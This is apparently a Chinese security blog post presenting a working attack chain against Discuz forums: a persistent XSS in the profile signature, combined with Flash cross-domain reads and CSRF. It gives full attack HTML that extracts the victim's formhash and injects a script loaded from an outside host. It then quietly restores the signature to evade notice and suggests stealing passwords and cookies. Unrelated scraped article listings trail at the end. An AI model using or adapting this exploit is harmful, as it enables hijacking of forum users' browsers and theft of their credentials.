discuz xss 0day利用方法

简介: 发一下去年利用discuz鸡肋xss的一个思路和具体代码。discuz x系列以下所有版本的个人资料设置中的个人签名一项存在一个持久型的XSS漏洞:比如在修改个人签名,提交alert(1),就能执行脚本。

发一下去年利用discuz鸡肋xss的一个思路和具体代码。

discuz x系列以下所有版本的个人资料设置中的个人签名一项存在一个持久型的XSS漏洞:比如在修改个人签名,提交</textarea><script>alert(1)</script>,就能执行脚本。

这个XSS的利用场景比较特殊,必须在个人资料设置页里才能触发,也就是只有自己才能看到自己发的XSS ~ = =!

以往这样的鸡肋要真正在渗透中实战利用起来几乎不可能,但是我们结合其他途径就可以把鸡肋变成宝贝,下面我就说下攻击流程:

 被攻击者点击帖子中的链接,打开我们的攻击网页触发攻击~

1.通过FLASH跨域请求获取formhash和被攻击者的个人签名。

所有的DISCUZ程序都在根目录下放了一个crossdomain.xml,允许任意网站的FLASH发起请求获取页面内容,那么我们可以很轻易地获取formhash。

 

2.构造一个自动提交表单,IFRAME这个表单,然后CSRF修改个人签名加入XSS代码。

CSRF要成功,需要formhash构造完整的参数提交。

 

3.攻击代码生效,反向劫持被攻击者的浏览器,在帖子页注入一个脚本运行,然后钓鱼,偷密码,偷COOKIE什么的就自行发挥了。

 

 

4.最后还原被攻击者的签名,因为个人签名里的内容会在帖子里显示,并不能执行脚本,很容易被人发现异常,所以需要还原被攻击者的签名。

 

攻击代码:

使用了flxhr,这个库可以方便FLASH跨域获取网页内容,并且可以和javascript交互,当然还有其他强大的功能。http://www.flensed.com/code/releases/flXHR-1.0.5.zip

使用了luoluo的jspayloadlib,两年前luoluo写的可以很方便xss和csrf的攻击库,精致小巧更适合实战。http://jspayloadlib.googlecode.com/svn/trunk/src/org/ph4nt0m/net/formSendData.js

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
 <script language="Javascript" type="text/javascript" src="flXHR.js"></script>
<script language="Javascript" type="text/javascript" src="formSendData.js"></script>

<script language="Javascript" type="text/javascript">
<!--
crossdomain_xml = "http://xxx.qq.com/discuz/Discuz_7.2_SC_GBK/crossdomain.xml" //crossdomain.xml地址
Attack_url = "http://xxx.qq.com/discuz/Discuz_7.2_SC_GBK/memcp.php?action=profile&typeid=2" // 个人资料设置页地址
 
var flproxy = new flensed.flXHR({ autoUpdatePlayer:true, instanceId:"myproxy1", xmlResponseText:false, onerror:handleError, onreadystatechange:handleLoading, loadPolicyURL: crossdomain_xml, noCacheHeader: false });

function doit() {
 flproxy.open("GET",Attack_url);
 var request = " ";
 flproxy.send(request);
}
 
function handleLoading(XHRobj) {
 if (XHRobj.readyState == 4) {
   //alert(XHRobj.responseText)
   HTMLcode = XHRobj.responseText;
   hash_start = HTMLcode.search(/formhash/);
   signature_re = /textarea.*?signaturemessage.*?>(.*)<//textarea/.exec(HTMLcode);    //获取个人签名的内容
   scode = RegExp.$1;  
   

 if( hash_start > -1 ){
   

    formhash = HTMLcode.substr(hash_start+9,8); // formhash是8个字符串加数字,取“formhash=”9个字符串后8个字节就是formhash。
    //alert(formhash);
    
    formSendData("post", Attack_url , {
     "formhash" : formhash,
     "signaturenew" : "</textarea><script src=http://test.com/h.js></script>",
     "editsubmit" : "1"
    }, 1000); //加入浏览器劫持代码。
    
    formSendData("post", Attack_url , {
     "formhash" : formhash,
     "signaturenew" : scode,
     "editsubmit" : "1"
    }, 5000); //延时五秒CSRF还原个人签名
    
   } 
 }
}
 function handleError(errObj) {}
-->
</script>
 </head>
 <body>

 <input type="button" value="Click Me" onClick="doit();" />
 </body>

</html>

PS:

h.js的内容

window.parent.opener.location="javascript:alert('I had been hijacking your browser!');void(0)"

好多人问怎么反向劫持注入脚本到帖子页的,以前的文档写过http://secinn.appspot.com/pstzine/read?issue=3&articleid=5,因为IFRAME的个人资料设置页和帖子页是同源的网页,所以可以通过window.parent.opener跨框架反向注入JS到同源的帖子页。

 

Author:rayh4c

 

目录
相关文章
|
存储 自然语言处理 算法
高维向量压缩方法IVFPQ :通过创建索引加速矢量搜索
向量相似性搜索是从特定嵌入空间中的给定向量列表中找到相似的向量。它能有效地从大型数据集中检索相关信息,在各个领域和应用中发挥着至关重要的作用。
616 0
|
Java 关系型数据库 MySQL
|
11月前
|
存储 安全 关系型数据库
后端技术深度剖析:构建高效稳定的企业级应用
【10月更文挑战第5天】后端技术深度剖析:构建高效稳定的企业级应用
230 0
|
5月前
|
JavaScript 算法 前端开发
nodejs18版本 npm run dev失败
在使用若依框架运行 `npm run dev` 时,若卡在 95% 并报错,通常是 Node.js 17+ 与 Webpack 的兼容性问题。原因是 OpenSSL 3 的加密算法变化导致依赖冲突。解决方法:Windows 下运行 `set NODE_OPTIONS=--openssl-legacy-provider`,macOS/Linux 使用 `export NODE_OPTIONS=--openssl-legacy-provider`,然后重新启动开发服务即可。此设置让 Node.js 启用旧版加密支持,恢复正常构建流程。
388 0
|
11月前
|
安全 Unix Linux
Linux系统之使用cmatrix实现数字雨效果
【10月更文挑战第16天】Linux系统之使用cmatrix实现数字雨效果
226 2
Linux系统之使用cmatrix实现数字雨效果
|
10月前
|
存储 监控 安全
深入理解ThreadLocal:线程局部变量的机制与应用
在Java的多线程编程中,`ThreadLocal`变量提供了一种线程安全的解决方案,允许每个线程拥有自己的变量副本,从而避免了线程间的数据竞争。本文将深入探讨`ThreadLocal`的工作原理、使用方法以及在实际开发中的应用场景。
215 2
|
安全 Linux 测试技术
idea中使用X-ChatGPT详解
X-ChatGPT可以让编码更简单,可以做代码审查、解释代码、重构代码、优化代码、编写测试、添加注释、代码补全等功能。
436 0
|
机器学习/深度学习 人工智能 自然语言处理
|
安全 网络安全
IP的纯净度:评判标准与重要性
**IP纯净度关乎网络行为的安全与可靠性。高纯净度IP指独立、真实、无不良记录的地址。评估标准包括:** - **IP来源**:正规ISP的IP更纯净。 - **历史记录**:检查是否涉及违规行为或在黑名单中。 - **技术特征**:支持SSL,匿名性高,连接稳定快速的IP更佳。 - **用户反馈**:用户评价反映IP的实际表现和信誉。 综合考量这些因素,能确保选择到安全可靠的IP地址。
|
SQL 存储 关系型数据库
【MySQL】DDL的表操作详解:创建&查询&修改&删除
【MySQL】DDL的表操作详解:创建&查询&修改&删除